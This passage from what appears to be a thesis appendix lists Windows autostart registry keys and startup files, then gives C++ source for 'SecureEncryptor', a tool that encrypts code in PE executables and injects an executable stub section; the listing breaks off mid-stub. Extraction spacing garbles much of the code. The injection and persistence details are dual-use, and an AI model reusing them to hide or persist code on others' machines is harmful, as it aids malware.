14. HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
15. HKEY LOCAL MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows
16. HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
17. HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler
B.2 Automatic Startup Configuration Files
1. c:\autoexec.bat
2. c:\config.sys
3. windir\wininit.ini
4. windir\winstart.bat
5. windir\win.ini
6. windir\system.ini
7. windir\dosstart.bat
8. windir\system\autoexec.nt
9. windir\system\config.nt
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Appendix C. SecureEncryptor 0.9.4 Source Code
Listing C.1:
// SecureEncryptor . cpp wr i t t en by William Kimball 7/2008
//Compiled us ing VS2008
4 // c l . exe SecureEncryptor . cpp −I C:\OpenSSL\ i n c lude \ C:\OpenSSL\ l i b \ l i b eay32 . l i b
#include <windows . h>
#include <s t r i n g . h>
#include <iostream>
9 #include <deque>
#include <s t r ing >
using namespace std ;
#include <opens s l \ aes . h>
#include <opens s l \rand . h>
14 #include <opens s l \evp . h>
#include <opens s l \hmac . h>
#include <opens s l \ sha . h>
#define SIG STUB SIZE 77
19
typedef struct SPEFile {
IMAGE DOS HEADER idosh ;
BYTE ∗bDosStub ;
24 int nDosStubSize ;
IMAGE NT HEADERS inth ;
IMAGE SECTION HEADER ∗∗ i s h s ;
BYTE ∗bHeaderSlack ;
int nHeaderSlackSize ;
29 BYTE ∗∗bSectionData ;
byte ∗bAttrCert ;
int nAttrCertS ize ;
}SPEFile , ∗PSPEFile ;
34
bool ReadPeFile ( const char ∗ s zF i l e , PSPEFile peFi le , int verbose ) ;
bool WritePeFi le ( const char ∗ s zF i l e , PSPEFile peF i l e ) ;
bool r eadF i l e (LPVOID lpBuff , DWORD dwBuffSize , DWORD dwFi leOf fset , HANDLE hFi l e ) ;
bool wr i t eF i l e (LPVOID lpBuff , DWORD dwBuffSize , DWORD dwFi leOf fset , HANDLE hFi l e ) ;
39
bool peAdjustHeaderToAddSection ( PSPEFile peF i l e ) ;
void peExtendHeaderSlack (PSPEFile peFi le , DWORD dwExtendSize , bool bAppendSlack ) ;
// I f bAppendSlack=true then the extended s l a ck i s appended to the e x i s t i n g s lack ,
44 // otherwi se the extended s l a ck i s prepended to the e x i s t i n g s l a ck .
//dwExtendSize needs to be a mul t ip l e o f f i l e al ignment .
//Note that 0x1000 i s the max SizeOfHeader .
void peAddSection ( PSPEFile peFi le , char ∗szName , DWORD dwRawSize , DWORD dwVirtua lS ize ) ;
49 // Al l o ca t e space f o r new IMAGE SECTION HEADER with peAdjustHeaderToAddSection ( ) or
// peExtendHeaderSlack ( . . . , bAppendSlack=true ) be f o r e making t h i s c a l l .
//dwExtendSize needs to be a mul t ip l e o f f i l e al ignment .
void peSecure ( PSPEFile peFi le , deque<DWORD> deqAddrSize , deque<DWORD> deqAuthPageAddrSize ,
54 deque<s t r ing > deqAuthModName , char ∗∗argv , int iKeyLength , s t r i n g s t r F i r s t I n i t , s t r i n g ...
s t r L a s t I n i t ) ;
//Add a new s e c t i on with peAddSection ( . . . , szName=”. SigStub ” , . . . ) b e f o r e making t h i s c a l l .
80
int main ( int argc , char ∗∗argv ) {
SPEFile sF i l e ;
59 unsigned int iKeyLength = 256 ;
i f ( argc >= 5) {
iKeyLength = ato i ( argv [ 4 ] ) ;
i f ( iKeyLength != 128 && iKeyLength != 192 && iKeyLength != 256) {
64 p r i n t f ( " K E Y _ L E N G T H m u s t be 128 , 192 or 2 5 6 ! \ n " ) ;
e x i t (−1) ;
}
}
else i f ( argc <= 3) {
69 c e r r << " \ n U s a g e : S e c u r e E n c r y p t o r P L N _ F I L E E N C _ F I L E P A S S W O R D [ K E Y _ L E N G T H ]\ n \ n "
<< " P L N _ F I L E The PE f i l e to be e n c r y p t e d .\ n "
<< " E N C _ F I L E The AES / CBC e n c r y p t e d PE f i l e to be g e n e r a t e d .\ n "
<< " P A S S W O R D D e r i v e s the key u s i n g P K C S #5/ P B K D F 2 / S H A 1 .\ n "
<< " K E Y _ L E N G T H 128 , 192 or 256 ( D e f a u l t = 2 5 6 ) " << endl ;
74 e x i t (−1) ;
}
i f ( ! ReadPeFile ( argv [ 1 ] , &sF i l e , 1) ) {
c e r r << " E r r o r r e a d i n g f i l e " << argv [ 1 ] << endl ;
79 e x i t (−1) ;
}
sF i l e . inth . OptionalHeader . CheckSum = 0 ;
84 i f ( ! peAdjustHeaderToAddSection(& sF i l e ) ) {
i f ( s F i l e . inth . OptionalHeader . SizeOfHeaders < 0x1000 ) { //0x1000 i s max SizeOfHeaders
peExtendHeaderSlack(&sF i l e , s F i l e . inth . OptionalHeader . Fi leAlignment , fa l se ) ;
89 }
else {
cout << " E r r o r a d d i n g s e c t i o n h e a d e r . Max S i z e O f H e a d e r is 4 k i l o b y t e s . " << endl ;
e x i t (−1) ;
}
94 }
DWORD dwAddress = 1 , dwSize = 1 ;
deque<DWORD> deqAddrSize ;
cout << " *** C O D E E N C R Y P T I N G * * * \ n E n t e r the v i r t u a l a d d r e s s and s i z e of e a c h c o d e b l o c k to be ...
e n c r y p t e d .\ n "
99 << " E n t e r a v i r t u a l a d d r e s s or s i z e of z e r o (0 x0 ) w h e n f i n i s h e d . " << endl ;
while ( dwAddress != 0 && dwSize != 0) {
cout << " A d d r e s s : 0 x " ;
i f ( ! ( c in >> hex >> dwAddress ) )
dwAddress = 0 ;
104 else i f ( dwAddress != 0) {
deqAddrSize . push f ront ( dwAddress ) ;
cout << " S i z e : 0 x " ;
i f ( ! ( c in >> hex >> dwSize ) )
dwSize = 0 ;
109 else i f ( dwSize & 0x0000000f ) {
cout << " The s i z e m u s t be a m u l t i p l e of 16! " << endl ;
e x i t (−1) ;
}
else
114 deqAddrSize . push f ront ( dwSize ) ;
}
81
}
deqAddrSize . push f ront (0 ) ; //Needed f o r SigStub code
deqAddrSize . push f ront (0 ) ; //Needed f o r QEMU
119
dwAddress = 1 ;
deque<DWORD> deqAuthPageAddrSize ;
deque<s t r ing > deqAuthModName ;
s t r i n g tempStr ;
124 cout << " \ n *** C O D E S I G N I N G * * * \ n E n t e r the m o d u l e name , v i r t u a l address , and s i z e for e a c h c o d e ...
b l o c k to be s i g n e d .\ n "
<< " E n t e r a v i r t u a l a d d r e s s of z e r o (0 x0 ) w h e n f i n i s h e d . " << endl ;
while ( dwAddress != 0) {
cout << " A d d r e s s : 0 x " ;
i f ( ! ( c in >> hex >> dwAddress ) )
129 dwAddress = 0 ;
else i f ( dwAddress != 0) {
deqAuthPageAddrSize . push f ront ( dwAddress ) ;
cout << " S i z e : 0 x " ;
i f ( ! ( c in >> hex >> dwSize ) )
134 dwSize = 0 ;
else {
deqAuthPageAddrSize . push f ront ( dwSize ) ;
cout << " M o d u l e n a m e : " ;
i f ( c in >> tempStr ) {
139 deqAuthModName . push f ront ( tempStr ) ;
}
}
}
}
144 deqAuthModName . push f ront ( " " ) ;
deqAuthPageAddrSize . push f ront (0 ) ;
deqAuthPageAddrSize . push f ront (0 ) ;
s t r i n g s t r F i r s t I n i t = " " , s t r L a s t I n i t = " " ;
149 cout << " \ n W i l l " << argv [ 1 ] << " be the o n l y m o d u l e e n c r y p t e d or p r o v i d i n g p a g e s i g n i n g ? (...
yes / no ) " ;
c in >> s t r F i r s t I n i t ;
i f ( toupper ( s t r F i r s t I n i t [ 0 ] ) == ’ Y ’ ) {
s t r L a s t I n i t = " Y " ;
154 }
else {
cout << " \ n W i l l " << argv [ 1 ] << " be the f i r s t m o d u l e i n i t i a l i z e d ? ( yes / no ) " ;
c in >> s t r F i r s t I n i t ;
159 i f ( toupper ( s t r F i r s t I n i t [ 0 ] ) != ’ Y ’ ) {
cout << " \ n W i l l " << argv [ 1 ] << " be the l a s t m o d u l e i n i t i a l i z e d ( o n l y a p p l i c a b l e to ...
p a g e s i g n i n g ) ? ( yes / no ) " ;
c in >> s t r L a s t I n i t ;
}
}
164
DWORD dwStubSecSize = SIG STUB SIZE + 16 + ( deqAddrSize . s i z e ( ) ∗ 4) + //16 i s the iv and s a l t
( ( deqAuthPageAddrSize . s i z e ( ) /2) ∗ (8 + SHA256 DIGEST LENGTH) ) ;
peAddSection(&sF i l e , " . S i g S t u b " , dwStubSecSize , dwStubSecSize ) ;
169
peSecure(&sF i l e , deqAddrSize , deqAuthPageAddrSize , deqAuthModName ,
argv , iKeyLength , s t r F i r s t I n i t , s t r L a s t I n i t ) ;
82
i f ( ! WritePeFi le ( argv [ 2 ] , &sF i l e ) ) {
174 c e r r << " E r r o r w r i t i n g f i l e " << argv [ 2 ] << endl ;
e x i t (−1) ;
}
}
179 bool ReadPeFile ( const char ∗ s zF i l e , PSPEFile peFi le , int verbose ) {
i f ( verbose )
cout << " \ n B e g i n r e a d i n g f i l e " << s zF i l e << endl ;
184 HANDLE hFi l e = NULL;
i f ( verbose )
cout << " O p e n f i l e for r e a d i n g ... " ;
i f ( ( hF i l e = CreateF i l e ( s zF i l e , GENERIC READ, FILE SHARE READ, NULL,
189 OPEN EXISTING, 0 , 0) ) == INVALID HANDLE VALUE) {
i f ( verbose )
cout << " f a i l e d " << endl ;
return fa l se ;
}
194 i f ( verbose ) {
cout << " s u c c e s s " << endl ;
cout << " R e a d i n g DOS h e a d e r ... " ;
}
199 // read dos header
i f ( ! r e adF i l e (&( peFi le−>idosh ) , s izeof (IMAGE DOS HEADER) , 0 , hF i l e ) ) {
i f ( verbose )
cout << " f a i l e d " << endl ;
return fa l se ;
204 }
i f ( verbose ) {
cout << " s u c c e s s " << endl ;
cout << " C h e c k i n g for v a l i d DOS s i g n a t u r e ... " ;
209 }
// checking va l i d dos s i gna tu r e
i f ( peFi le−>idosh . e magic != IMAGE DOS SIGNATURE) {
i f ( verbose )
cout << " f a i l e d " << endl ;
214 return fa l se ;
}
i f ( verbose ) {
cout << " s u c c e s s " << endl ;
219 cout << " R e a d i n g DOS S t u b ... " ;
}
// read dos stub
peFi le−>nDosStubSize = peFi le−>idosh . e l f anew − s izeof (IMAGE DOS HEADER) ;
peFi le−>bDosStub = (BYTE∗) mal loc ( peFi le−>nDosStubSize ∗ s izeof (BYTE) ) ;
224 i f ( ! r e adF i l e ( peFi le−>bDosStub , peFi le−>nDosStubSize , s izeof (IMAGE DOS HEADER) , hF i l e ) ) {
i f ( verbose )
cout << " f a i l e d " << endl ;
return fa l se ;
}
229 i f ( verbose ) {
cout << " s u c c e s s " << endl ;
cout << " R e a d i n g NT H e a d e r ... " ;
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}
234 // read nt headers
i f ( ! r e adF i l e (&( peFi le−>in th ) , s izeof (IMAGE NT HEADERS) ,
s izeof (IMAGE DOS HEADER)+peFi le−>nDosStubSize , hF i l e ) ) {
i f ( verbose )
cout << " f a i l e d " << endl ;
239 return fa l se ;
}
i f ( verbose ) {
cout << " s u c c e s s " << endl ;
244 cout << " C h e c k i n g for v a l i d NT s i g n a t u r e ... " ;
}
// check nt s i gna tu r e
i f ( peFi le−>inth . S ignature != IMAGE NT SIGNATURE) {
i f ( verbose )
249 cout << " f a i l e d " << endl ;
return fa l se ;
}
i f ( verbose ) {
cout << " s u c c e s s " << endl ;
254
cout << " F o u n d " << peFi le−>in th . Fi leHeader . NumberOfSections << " s e c t i o n h e a d e r s " << endl ;
cout << " R e a d i n g s e c t i o n h e a d e r s ... " ;
}
259 // read s e c t i on headers
peFi le−>i s h s = (IMAGE SECTION HEADER∗∗) mal loc ( peFi le−>inth . Fi leHeader . NumberOfSections ∗
s izeof (IMAGE SECTION HEADER∗) ) ;
for ( int i = 0 ; i < peFi le−>in th . Fi leHeader . NumberOfSections ; i++) {
peFi le−>i s h s [ i ] = (IMAGE SECTION HEADER∗) mal loc ( s izeof (IMAGE SECTION HEADER) ) ;
264 i f ( ! r e adF i l e ( peFi le−>i s h s [ i ] , s izeof (IMAGE SECTION HEADER) ,
s izeof (IMAGE DOS HEADER)+peFi le−>nDosStubSize+s izeof (IMAGE NT HEADERS)+
( i ∗ s izeof (IMAGE SECTION HEADER) ) , hF i l e ) ) {
i f ( verbose )
cout << " f a i l e d " << endl ;
269 return fa l se ;
}
}
i f ( verbose ) {
cout << " s u c c e s s " << endl ;
274
cout << " R e a d i n g h e a d e r s l a c k s p a c e ( o p t i o n a l d i r e c t o r y d a t a ) ... " ;
}
// read header s l a ck space ( could be used as d i r e c t o r y data or j u s t s l a ck space to s a t i s f y f i l e ...
a l ignment )
peFi le−>nHeaderSlackSize = peFi le−>in th . OptionalHeader . SizeOfHeaders −
279 s izeof (IMAGE DOS HEADER) − peFi le−>nDosStubSize − s izeof (IMAGE NT HEADERS) −
( peFi le−>in th . Fi leHeader . NumberOfSections ∗ s izeof (IMAGE SECTION HEADER) ) ;
peFi le−>bHeaderSlack = (BYTE∗) mal loc ( peFi le−>nHeaderSlackSize ) ;
i f ( ! r e adF i l e ( peFi le−>bHeaderSlack , peFi le−>nHeaderSlackSize ,
s izeof (IMAGE DOS HEADER)+peFi le−>nDosStubSize+s izeof (IMAGE NT HEADERS)+
284 ( peFi le−>in th . Fi leHeader . NumberOfSections∗ s izeof (IMAGE SECTION HEADER) ) , hF i l e ) ) {
i f ( verbose )
cout << " f a i l e d " << endl ;
return fa l se ;
}
289 i f ( verbose ) {
cout << " s u c c e s s " << endl ;
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cout << " R e a d i n g s e c t i o n d a t a ... " ;
}
294 // read s e c t i on data
peFi le−>bSectionData = (BYTE∗∗) mal loc ( peFi le−>in th . Fi leHeader . NumberOfSections ∗
s izeof (BYTE∗) ) ;
for ( int i = 0 ; i < peFi le−>in th . Fi leHeader . NumberOfSections ; i++) {
i f ( peFi le−>i s h s [ i ]−>PointerToRawData ) {
299 peFi le−>bSectionData [ i ] = (BYTE∗) mal loc ( peFi le−>i s h s [ i ]−>SizeOfRawData ) ;
i f ( ! r e adF i l e ( peFi le−>bSectionData [ i ] , peFi le−>i s h s [ i ]−>SizeOfRawData ,
peFi le−>i s h s [ i ]−>PointerToRawData , hF i l e ) ) {
i f ( verbose )
cout << " f a i l e d " << endl ;
304 return fa l se ;
}
}
}
i f ( verbose ) {
309 cout << " s u c c e s s " << endl ;
cout << " R e a d i n g o p t i o n a l A t t r i b u t e C e r t i f i c a t e T a b l e ... " ;
}
// read opt i ona l Attr ibute C e r t i f i c a t e Table
314 peFi le−>nAttrCertS ize = peFi le−>in th . OptionalHeader . DataDirectory [ 4 ] . S i z e ;
i f ( peFi le−>nAttrCertS ize != 0) {
peFi le−>bAttrCert = (BYTE∗) mal loc ( peFi le−>nAttrCertS ize ) ;
i f ( ! r e adF i l e ( peFi le−>bAttrCert , peFi le−>nAttrCertSize ,
peFi le−>in th . OptionalHeader . DataDirectory [ 4 ] . VirtualAddress , hF i l e ) ) {//RVA i s a f i l e ...
o f f s e t
319 i f ( verbose )
cout << " f a i l e d " << endl ;
return fa l se ;
}
i f ( verbose )
324 cout << " s u c c e s s " << endl ;
}
else {
i f ( verbose )
cout << " not a p p l i c a b l e " << endl ;
329 }
i f ( verbose )
cout << " End r e a d i n g f i l e " << s zF i l e << endl << endl ;
334 CloseHandle ( hF i l e ) ;
return true ;
}
339 bool WritePeFi le ( const char ∗ s zF i l e , PSPEFile peF i l e ) {
cout << " \ n B e g i n w r i t i n g f i l e " << s zF i l e << endl ;
HANDLE hFi l e = NULL;
344
cout << " C r e a t e new f i l e ... " ;
i f ( ( hF i l e = CreateF i l e ( s zF i l e , GENERIC ALL, 0 , NULL,
CREATE ALWAYS, 0 , 0) ) == INVALID HANDLE VALUE) {
cout << " f a i l e d " << endl ;
349 return fa l se ;
}
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cout << " s u c c e s s " << endl ;
cout << " W r i t i n g DOS h e a d e r ... " ;
354 // wr i t e dos header
i f ( ! w r i t eF i l e (&( peFi le−>idosh ) , s izeof (IMAGE DOS HEADER) , 0 , hF i l e ) ) {
cout << " f a i l e d " << endl ;
return fa l se ;
}
359 cout << " s u c c e s s " << endl ;
cout << " W r i t i n g DOS s t u b ... " ;
// wr i t e dos stub
i f ( ! w r i t eF i l e ( peFi le−>bDosStub , peFi le−>nDosStubSize , s izeof (IMAGE DOS HEADER) , hF i l e ) ) {
364 cout << " f a i l e d " << endl ;
return fa l se ;
}
cout << " s u c c e s s " << endl ;
369 cout << " W r i t i n g NT h e a d e r ... " ;
// wr i t e nt header
i f ( ! w r i t eF i l e (&( peFi le−>inth ) , s izeof (IMAGE NT HEADERS) ,
s izeof (IMAGE DOS HEADER)+peFi le−>nDosStubSize , hF i l e ) ) {
cout << " f a i l e d " << endl ;
374 return fa l se ;
}
cout << " s u c c e s s " << endl ;
cout << " W r i t i n g s e c t i o n h e a d e r s ... " ;
379 // wr i t e s e c t i on headers
for ( int i = 0 ; i < peFi le−>in th . Fi leHeader . NumberOfSections ; i++) {
i f ( ! w r i t eF i l e ( peFi le−>i s h s [ i ] , s izeof (IMAGE SECTION HEADER) ,
s izeof (IMAGE DOS HEADER)+peFi le−>nDosStubSize+s izeof (IMAGE NT HEADERS)+
( i ∗ s izeof (IMAGE SECTION HEADER) ) , hF i l e ) ) {
384 cout << " f a i l e d " << endl ;
return fa l se ;
}
}
cout << " s u c c e s s " << endl ;
389
cout << " W r i t i n g h e a d e r s l a c k s p a c e ( o p t i o n a l d i r e c t o r y d a t a ) ... " ;
// wr i t e header s l a ck space ( could be used as d i r e c t o r y data or j u s t s l a ck space to s a t i s f y ...
f i l e a l ignments )
i f ( ! w r i t eF i l e ( peFi le−>bHeaderSlack , peFi le−>nHeaderSlackSize ,
394 s izeof (IMAGE DOS HEADER)+peFi le−>nDosStubSize+s izeof (IMAGE NT HEADERS)+
( peFi le−>in th . Fi leHeader . NumberOfSections∗ s izeof (IMAGE SECTION HEADER) ) , hF i l e ) ) {
cout << " f a i l e d " << endl ;
return fa l se ;
}
399 cout << " s u c c e s s " << endl ;
cout << " W r i t i n g s e c t i o n d a t a ... " ;
// wr i t e s e c t i on data
for ( int i = 0 ; i < peFi le−>in th . Fi leHeader . NumberOfSections ; i++) {
404 i f ( peFi le−>i s h s [ i ]−>SizeOfRawData != 0 && peFi le−>i s h s [ i ]−>PointerToRawData != 0 &&
! wr i t eF i l e ( peFi le−>bSectionData [ i ] , peFi le−>i s h s [ i ]−>SizeOfRawData ,
peFi le−>i s h s [ i ]−>PointerToRawData , hF i l e ) ) {
cout << " f a i l e d " << endl ;
return fa l se ;
409 }
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}
cout << " s u c c e s s " << endl ;
cout << " W r i t i n g o p t i o n a l A t t r i b u t e C e r t i f i c a t e T a b l e ... " ;
414 // wr i t e op t i ona l Att r ibute C e r t i f i c a t e Table
i f ( peFi le−>nAttrCertS ize != 0) {
i f ( ! w r i t eF i l e ( peFi le−>bAttrCert , peFi le−>nAttrCertSize ,
peFi le−>in th . OptionalHeader . DataDirectory [ 4 ] . VirtualAddress , hF i l e ) ) { //RVA i s a f i l e ...
o f f s e t
cout << " f a i l e d " << endl ;
419 return fa l se ;
}
}
cout << " s u c c e s s " << endl ;
424 cout << " End w r i t i n g f i l e " << s zF i l e << endl ;
CloseHandle ( hF i l e ) ;
return true ;
429 }
bool r eadF i l e (LPVOID lpBuff , DWORD dwBuffSize , DWORD dwFi leOf fset , HANDLE hFi l e ) {
DWORD lpBytesRead = 0 ;
434
i f ( S e tF i l ePo in t e r ( hFi le , dwFi leOf fset , NULL, FILE BEGIN) == INVALID SET FILE POINTER)
return fa l se ;
i f ( ReadFile ( hFi le , lpBuff , dwBuffSize , &lpBytesRead ,
439 NULL) == 0 | | lpBytesRead != dwBuffSize )
return fa l se ;
return true ;
}
444
bool wr i t eF i l e (LPVOID lpBuff , DWORD dwBuffSize , DWORD dwFi leOf fset , HANDLE hFi l e ) {
DWORD lpBytesWritten = 0 ;
449 i f ( S e tF i l ePo in t e r ( hFi le , dwFi leOf fset , NULL, FILE BEGIN) == INVALID SET FILE POINTER)
return fa l se ;
i f ( WriteFi l e ( hFi le , lpBuff , dwBuffSize , &lpBytesWritten ,
NULL) == 0 | | lpBytesWritten != dwBuffSize )
454 return fa l se ;
return true ;
}
459 void peExtendHeaderSlack (PSPEFile peFi le , DWORD dwExtendSize , bool bAppendSlack ) {
BYTE ∗bOldHeaderSlack = peFi le−>bHeaderSlack ;
int nOldHeaderSlackSize = peFi le−>nHeaderSlackSize ;
464 peFi le−>nHeaderSlackSize += dwExtendSize ;
peFi le−>bHeaderSlack = (BYTE∗) mal loc ( peFi le−>nHeaderSlackSize ) ;
int i O f f s e t = ( bAppendSlack ) ?0 : dwExtendSize ;
for ( int i = 0 ; i < nOldHeaderSlackSize ; i++)
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469 peFi le−>bHeaderSlack [ i+iO f f s e t ] = bOldHeaderSlack [ i ] ;
f r e e ( bOldHeaderSlack ) ;
peFi le−>in th . OptionalHeader . SizeOfHeaders += dwExtendSize ;
474
// c o r r e c t s e c t i on data f i l e o f f s e t s
for ( int i = 0 ; i < peFi le−>in th . Fi leHeader . NumberOfSections ; i++) {
peFi le−>i s h s [ i ]−>PointerToRawData += dwExtendSize ;
}
479
i f ( bAppendSlack )
return ;
// c o r r e c t data d i r e c t o r y RVA’ s
484 for ( int i = 0 ; i < IMAGE NUMBEROF DIRECTORY ENTRIES; i++) {
i f ( peFi le−>in th . OptionalHeader . DataDirectory [ i ] . Virtua lAddress <
peFi le−>in th . OptionalHeader . SizeOfHeaders &&
peFi le−>in th . OptionalHeader . DataDirectory [ i ] . S i z e != 0)
peFi le−>in th . OptionalHeader . DataDirectory [ i ] . Virtua lAddress += dwExtendSize ;
489 }
}
void peAddSection ( PSPEFile peFi le , char ∗szName , DWORD dwRawSize , DWORD dwVirtua lS ize ) {
494 // Correct header s l a ck space to make room f o r new s e c t i on header .
//Header s l a ck space should be created by c a l l i n g peExtendHeaderSlack ( . . . , bAppendSlack=true )
// p r i o r to c a l l i n g peAddSection ( ) .
cout << " \ n A d d i n g . S i g S t u b s ’ s e c t i o n h e a d e r ... " ;
499
peFi le−>nHeaderSlackSize −= s izeof (IMAGE SECTION HEADER) ;
BYTE ∗oldHeaderSlack = peFi le−>bHeaderSlack ;
504 peFi le−>bHeaderSlack = (BYTE∗) mal loc ( peFi le−>nHeaderSlackSize ) ;
for ( int i = 0 ; i < peFi le−>nHeaderSlackSize ; i++)
peFi le−>bHeaderSlack [ i ] = oldHeaderSlack [ i+s izeof (IMAGE SECTION HEADER) ] ;
509 // a l l o c a t e s e c t i on header
IMAGE SECTION HEADER ∗∗ o l d I sh s = peFi le−>i s h s ;
peFi le−>in th . Fi leHeader . NumberOfSections += 1 ;
514
peFi le−>i s h s = (IMAGE SECTION HEADER∗∗) mal loc ( peFi le−>inth . Fi leHeader . NumberOfSections ∗
s izeof (IMAGE SECTION HEADER∗) ) ;
int i = 0 ;
519 for ( ; i < peFi le−>in th . Fi leHeader . NumberOfSections − 1 ; i++)
peFi le−>i s h s [ i ] = o ld I sh s [ i ] ;
cout << " s u c c e s s " << endl ;
peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections − 1 ] =
524 (IMAGE SECTION HEADER∗) mal loc ( s izeof (IMAGE SECTION HEADER) ) ;
// a l l o c a t e s e c t i on data
BYTE ∗∗bOldSectionData = peFi le−>bSectionData ;
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529
peFi le−>bSectionData = (BYTE∗∗) mal loc ( peFi le−>in th . Fi leHeader . NumberOfSections ∗
s izeof (BYTE∗) ) ;
for ( int i = 0 ; i < peFi le−>in th . Fi leHeader . NumberOfSections−1; i++)
534 peFi le−>bSectionData [ i ] = bOldSectionData [ i ] ;
f r e e ( bOldSectionData ) ;
//Make sure raw s i z e i f f i l e a l i gned
539 dwRawSize = (dwRawSize + peFi le−>inth . OptionalHeader . Fi leAl ignment ) &
˜( peFi le−>inth . OptionalHeader . Fi leAl ignment − 1) ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections − 1 ] = (BYTE∗) mal loc ( dwRawSize ) ;
544 for ( int i = 0 ; i < dwRawSize ; i++)
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections − 1 ] [ i ] = ’ \0 ’ ;
// c o r r e c t raw address and s i z e
549 // get l a s t f i l e s e c t i on
IMAGE SECTION HEADER ∗ i shLas t = peFi le−>i s h s [ 0 ] ;
for ( int i = 0 ; i < peFi le−>in th . Fi leHeader . NumberOfSections−1; i++) {
i f ( peFi le−>i s h s [ i ]−>PointerToRawData > i shLast−>PointerToRawData )
i shLas t = peFi le−>i s h s [ i ] ;
554 }
peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections−1]−>PointerToRawData =
ishLast−>PointerToRawData + ishLast−>SizeOfRawData ;
peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections−1]−>SizeOfRawData = dwRawSize ;
559 // c o r r e c t C e r t i f i c a t e Attr ibute Table
i f ( peFi le−>nAttrCertS ize != 0) {
peFi le−>inth . OptionalHeader . DataDirectory [ 4 ] . Virtua lAddress =
peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections−1]−>PointerToRawData
+ peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections−1]−>SizeOfRawData ;
564 }
// c o r r e c t s e c t i on ’ s name
int nNameLen = s t r l e n ( szName) ;
for ( int i = 0 ; i < IMAGE SIZEOF SHORT NAME; i++) {
569 i f ( i < nNameLen)
peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections−1]−>Name [ i ] = szName [ i ] ;
else
peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections−1]−>Name [ i ] = ’ \0 ’ ;
}
574
// get l a s t f i l e s e c t i on
i shLas t = peFi le−>i s h s [ 0 ] ;
for ( int i = 0 ; i < peFi le−>in th . Fi leHeader . NumberOfSections−1; i++) {
i f ( peFi le−>i s h s [ i ]−>Virtua lAddress > i shLast−>Virtua lAddress )
579 i shLas t = peFi le−>i s h s [ i ] ;
}
// c o r r e c t . s i g s tub s e c t i on ’ s v i r t u a l address and s i z e
i f ( i shLast−>Misc . V i r t ua l S i z e == 0) {
584 peFi le−>i s h s [ peFi le−>inth . Fi leHeader . NumberOfSections−1]−>Virtua lAddress =
( ishLast−>Virtua lAddress + ( ( i shLast−>SizeOfRawData +
peFi le−>in th . OptionalHeader . Sect ionAlignment − 1) & ˜( peFi le−>in th . OptionalHeader . ...
Sect ionAlignment − 1) )
+ peFi le−>inth . OptionalHeader . Sect ionAlignment − 1)
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& ˜ ( peFi le−>in th . OptionalHeader . Sect ionAlignment − 1) ;
589 }
else {
peFi le−>i s h s [ peFi le−>inth . Fi leHeader . NumberOfSections−1]−>Virtua lAddress =
( ishLast−>Virtua lAddress + ishLast−>Misc . V i r t ua l S i z e + peFi le−>inth . OptionalHeader . ...
Sect ionAlignment − 1)
& ˜ ( peFi le−>in th . OptionalHeader . Sect ionAlignment − 1) ;
594 }
peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections−1]−>Misc . V i r tua l S i z e = ( dwVirtua lS ize +
peFi le−>inth . OptionalHeader . Sect ionAlignment − 1) & ˜( peFi le−>in th . OptionalHeader . ...
Sect ionAlignment − 1) ;
// c o r r e c t s i z e o f image
599 peFi le−>in th . OptionalHeader . SizeOfImage =
peFi le−>i s h s [ peFi le−>inth . Fi leHeader . NumberOfSections−1]−>Virtua lAddress +
peFi le−>i s h s [ peFi le−>inth . Fi leHeader . NumberOfSections−1]−>Misc . V i r t ua l S i z e ;
// c o r r e c t s e c t i on c h a r a c t e r i s t i c s
604 peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections−1]−>Cha r a c t e r i s t i c s =
IMAGE SCN MEM WRITE | IMAGE SCN MEM READ | IMAGE SCN MEM EXECUTE | IMAGE SCN CNT CODE;
}
bool peAdjustHeaderToAddSection ( PSPEFile peF i l e ) {
609
bool bRoomForAnotherHeader = true ;
for ( int i = 0 ; i < IMAGE NUMBEROF DIRECTORY ENTRIES; i++) {
i f ( peFi le−>in th . OptionalHeader . DataDirectory [ i ] . Virtua lAddress <
614 peFi le−>in th . OptionalHeader . SizeOfHeaders &&
peFi le−>in th . OptionalHeader . DataDirectory [ i ] . Virtua lAddress +
peFi le−>in th . OptionalHeader . DataDirectory [ i ] . S i z e >=
peFi le−>in th . OptionalHeader . SizeOfHeaders − s izeof (IMAGE SECTION HEADER) )
bRoomForAnotherHeader = fa l se ;
619 }
i f ( ! bRoomForAnotherHeader )
return fa l se ;
624 for ( int i = peFi le−>nHeaderSlackSize ; i >= s izeof (IMAGE SECTION HEADER) ; i−−)
peFi le−>bHeaderSlack [ i ] = peFi le−>bHeaderSlack [ i−s izeof (IMAGE SECTION HEADER) ] ;
// c o r r e c t data d i r e c t o r y RVA’ s
for ( int i = 0 ; i < IMAGE NUMBEROF DIRECTORY ENTRIES; i++) {
629 i f ( peFi le−>in th . OptionalHeader . DataDirectory [ i ] . Virtua lAddress <
peFi le−>in th . OptionalHeader . SizeOfHeaders &&
peFi le−>in th . OptionalHeader . DataDirectory [ i ] . S i z e != 0)
peFi le−>in th . OptionalHeader . DataDirectory [ i ] . Virtua lAddress += s izeof ( ...
IMAGE SECTION HEADER) ;
}
634
return true ;
}
void peSecure ( PSPEFile peFi le , deque<DWORD> deqAddrSize , deque<DWORD> deqAuthPageAddrSize ,
639 deque<s t r ing > deqAuthModName , char ∗∗argv , int iKeyLength , s t r i n g s t r F i r s t I n i t , s t r i n g ...
s t r L a s t I n i t ) {
//add s i g n a l stub code to . SigStub
BYTE bCode [ ] = " \ xEB \ x00 " //jmp <patch>
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644
" \ x9C " // pushaf
" \ x60 " //pusha
" \ xBA \ x4D \ x00 \ x00 \ x00 " //mov edx , <patch addr o f metadata>
649
" \ x8B \ xCA " //mov ecx , edx
